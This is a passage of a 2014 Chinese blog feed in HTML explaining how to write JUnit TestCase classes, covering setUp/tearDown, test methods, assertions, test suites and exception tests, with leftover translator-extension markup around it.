第二步、编写测试方法，使用testXXX的方式来命名测试方法；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　第三步、编写断言。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果测试方法有公用的变量等需要初始化和销毁，则可以使用setUp,tearDown方法。</div></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div id="SL_player"></div><div id="SL_alert100" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png);">Text-to-speech function is limited to 100 characters</div></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/421641.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:25 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421641.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>开发者的Java测试用例浅析</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421642.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:25:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421642.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421642.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421642.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421642.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421642.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">前段时间，在项目组里做了一点<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">java</strong></u></a>的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;"></strong></u></a><u style="word-break: break-all; line-height: normal !important;"><strong style="word-break: break-all;"><a target="_self" style="word-break: break-all; color: #202859; text-decoration: none;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>用例</strong></u>，虽然没有全自动化，也完成了半自动化的测试。比如：针对接口的测试，提供服务的测试等，都不需要启动服务，也不需要接口准备好。我们只需要知道输入输出，便可以进行testcase的编写，这样很方便。我们这边这次完成的针对某一块业务。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　看一下一部分的完成情况</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><a href="http://www.51testing.com/batch.download.php?aid=50146" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_20141218101914101P1.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这次的主要目的还是来讲TestCase</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　那什么是TestCase？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　是为了系统地测试一个功能而由测试工程师写下的文档或脚本；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Junit</strong></u></a>测试是程序员测试，即<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">白盒测试</strong></u></a>（个人理解）；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　具体到junit.framework. TestCase这个抽象类</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　其实网上有很多关于这方面的帖子，博客之类的，大家也可以找找，<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">学习</strong></u></a>学习。毕竟我这里的理解还是很肤浅的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　那第二点，为什么需要编写测试用例？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　通俗易懂一点：写的目的就是为了记录，并加以完善，因为测试一个功能往往不是走一遍就OK的，需要反复的改，反复的测，直到功能可以提交给客户。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　深度提炼一点：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1） 测试用例被认为是要交付给顾客的产品的一部分。测试用例在这里充当了提高可信度的作用。典型的是UAT（可接受）级别。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2） 测试用例只作为内部使用。典型的是系统级别的测试。在这里测试效率是目的。在代码尚未完成时，我们基于设计编写测试用例，以便一旦代码准备好了，我们就可以很快地测试产品。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　具体的参考：http://www.51testing.com/html/41/n-44641.html</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　深入的也不多说，网上这种东西很多。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">正题：</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　使用JUnit时，主要都是通过继承TestCase类别来撰写测试用例，使用testXXX()名称来撰写<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">单元测试</strong></u></a>。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　用JUnit写测试真正所需要的就三件事：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　1． &nbsp;一个import语句引入所有junit.framework.*下的类。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　2． &nbsp;一个extends语句让你的类从TestCase继承。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　3． &nbsp;一个调用super(string)的构造函数。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">下面可以看一下TestCase的文档介绍里的Example</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　1.构建一个测试类</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public class MathTest extends TestCase {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　protected double fValue1;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　protected double fValue2;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　protected void setUp() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　fValue1= 2.0;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　fValue2= 3.0;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2.一个<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Test</strong></u></a>方法以及断言使用</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public void testAdd() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　double result= fValue1 + fValue2;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　assertTrue(result == 5.0);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　3.运行单个方法的使用</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　TestCase test= new MathTest("add") {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　public void runTest() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　testAdd();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　};</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　test.run();</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　或者</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　TestCase test= new MathTest("testAdd");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　test.run();<br /><br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">4.运行一组测试用例</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　public static Test suite() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTest(new MathTest("testAdd"));</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTest(new MathTest("testDividByZero"));</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　return suite;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　还有下面这种方式</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　public static Test suite() {</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　TestSuite suite = new TestSuite("Running all tests.");</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　/*10000*/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTestSuite(TestAgentApi.class);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　/*10001*/</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　suite.addTestSuite(TestAgentUxxApi.class);</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　}</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50147" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412181019142nVEP.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　运行6个，5个没有通过，一目了然。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　setUp和tearDown</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><table align="center" style="word-break: break-all; border-style: solid; border-color: #999999; width: 612px; font-size: 12px; background-color: #dddddd;"><tbody style="word-break: break-all;"><tr style="word-break: break-all;"><td style="word-break: break-all;"><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Sets up the fixture, for example, open a network connection.</div><div style="word-break: break-all; margin: 10px 0px;">* This method is called before a test is executed.</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">protected void setUp() throws Exception {</div><div style="word-break: break-all; margin: 10px 0px;">}</div><div style="word-break: break-all; margin: 10px 0px;">/**</div><div style="word-break: break-all; margin: 10px 0px;">* Tears down the fixture, for example, close a network connection.</div><div style="word-break: break-all; margin: 10px 0px;">* This method is called after a test is executed.</div><div style="word-break: break-all; margin: 10px 0px;">*/</div><div style="word-break: break-all; margin: 10px 0px;">protected void tearDown() throws Exception {</div><div style="word-break: break-all; margin: 10px 0px;">}</div></td></tr></tbody></table></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　对于重复出现在各个单元测试中的运行环境，可以集中加以管理，可以在继承TestCase之后，重新定义setUp()与tearDown()方法，将数个单元测试所需要的运行环境在setUp()中创建，并在tearDown()中销毁。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Junit提供的种种断言</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　JUnit提供了一些辅助函数，用于帮助你确定某个被测试函数是否工作正常。通常而言，我们把所有这些函数统称为断言。断言是单元测试最基本的组成部分。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　方法：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertEquals-期望值与实际值是否相等</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertFalse-布尔值判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertTrue-布尔值判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertNull-对象空判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertNotNull-对象不为空判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertSame-对象同一实例判断</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　assertNotSame-检查两个对象是否不为同一实例</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　fail-使测试立即失败</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　Junit和异常</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1．从测试代码抛出的可预测异常。<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">2．由于某个模块（或代码）发生严重错误，而抛出的不可预测异常。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　这两点的异常是我们比较关心的。下面展示一种情况：对于方法中每个被期望的异常，都应写一个专门的测试来确认该方法在应该抛出异常的时候确实会抛出异常。图展示的是抛出异常才通过，不抛出异常，case不通过。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如图</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50148" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121810191433Bq0.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　异常情况如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><a href="http://www.51testing.com/batch.download.php?aid=50149" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121810191448Btq.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　对于处于出乎意料的异常，我们最好简单的改变我们的测试方法的声明让它能抛出可能的异常。JUnit框架可以捕获任何异常，并且把它报告为一个错误，这些都不需要你的参与。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　回顾一下如何使用Junit</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　JUnit的使用非常简单，共有3步：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　第一步、编写测试类，使其继承TestCase；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　第二步、编写测试方法，使用testXXX的方式来命名测试方法；</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　第三步、编写断言。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　如果测试方法有公用的变量等需要初始化和销毁，则可以使用setUp,tearDown方法。</div></div></div> <div><div id="SL_button" class="ImTranslatorLogo" style="display: none; background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><div id="SL_shadow_translation_result2" style="display: none;"></div><div id="SL_shadow_translator" style="display: none;"><div id="SL_planshet" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg2.png) #f4f5f5;"><div id="SL_TB"><div id="bubblelogo" class="ImTranslatorLogo" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/imtranslator-s.png);"></div><table cellspacing="1" border="0" id="SL_tables"><tbody><tr><td class="SL_td" align="left" width="20%"><div id="SL_lng_from">English&nbsp;&#187;</div></td><td class="SL_td" align="left" width="20%"><select id="SL_lng_to"><option value="af">Afrikaans</option><option value="sq">Albanian</option><option value="ar">Arabic</option><option value="hy">Armenian</option><option value="az">Azerbaijani</option><option value="eu">Basque</option><option value="bn">Bengali</option><option value="be">Belarusian</option><option value="bg">Bulgarian</option><option value="ca">Catalan</option><option value="zh-CN">Chinese&nbsp;(Simp)</option><option value="zh-TW">Chinese&nbsp;(Trad)</option><option value="hr">Croatian</option><option value="cs">Czech</option><option value="da">Danish</option><option value="nl">Dutch</option><option value="en">English</option><option value="eo">Esperanto</option><option value="et">Estonian</option><option value="tl">Filipino</option><option value="fi">Finnish</option><option value="fr">French</option><option value="gl">Galician</option><option value="ka">Georgian</option><option value="de">German</option><option value="el">Greek</option><option value="gu">Gujarati</option><option value="ht">Haitian&nbsp;Creole</option><option value="iw">Hebrew</option><option value="hi">Hindi</option><option value="hu">Hungarian</option><option value="is">Icelandic</option><option value="id">Indonesian</option><option value="ga">Irish</option><option value="it">Italian</option><option value="ja">Japanese</option><option value="kn">Kannada</option><option value="ko">Korean</option><option value="lo">Lao</option><option value="la">Latin</option><option value="lv">Latvian</option><option value="lt">Lithuanian</option><option value="mk">Macedonian</option><option value="ms">Malay</option><option value="mt">Maltese</option><option value="no">Norwegian</option><option value="fa">Persian</option><option value="pl">Polish</option><option value="pt">Portuguese</option><option value="ro">Romanian</option><option value="ru">Russian</option><option value="sr">Serbian</option><option value="sk">Slovak</option><option value="sl">Slovenian</option><option selected="" value="es">Spanish</option><option value="sw">Swahili</option><option value="sv">Swedish</option><option value="ta">Tamil</option><option value="te">Telugu</option><option value="th">Thai</option><option value="tr">Turkish</option><option value="uk">Ukrainian</option><option value="ur">Urdu</option><option value="vi">Vietnamese</option><option value="cy">Welsh</option><option value="yi">Yiddish</option></select></td><td class="SL_td" width="13%" align="center">&nbsp;</td><td class="SL_td" width="8%" align="center"><div id="SL_TTS_voice" title="Listen to the translation" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/tts-voice.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_copy" title="Select text" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/copy_hand.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_bbl_font_patch" onclick="alert('Not available for dictionary');"></div><div id="SL_bbl_font" title="Font size" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/font-off.png);"></div></td><td class="SL_td" width="8%" align="center"><div id="SL_TH" title="Translation history" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/history.png);"></div></td><td class="SL_td" width="5%"></td><td class="SL_td" width="8%" align="right"><div id="SL_pin" title="Pin pup-up bubble" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/pin-off.png);"></div></td></tr></tbody></table></div></div><div id="SL_shadow_translation_result" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg.png) #ffffff;"></div><div id="SL_bbl_donate" title="Make a small contribution" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/donate2.png);"></div><div id="SL_Balloon_options" style="background: url(chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/img/util/bg3.png) #f4f5f5;"><a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/options-bbl.html" target="_blank" class="SL_options" title="Show options">Options</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/history.html" class="SL_options" title="Translation history" target="_blank">History</a>&nbsp;:&nbsp;<a href="http://about.imtranslator.net/add-ons/chrome-extension/" target="_blank" class="SL_options" title="ImTranslator Help">Help</a>&nbsp;:&nbsp;<a href="chrome-extension://noaijdpnepcgjemiklgfkcfbkokogabh/feedback.html" class="SL_options" title="Feedback" target="_blank">Feedback</a></div><div 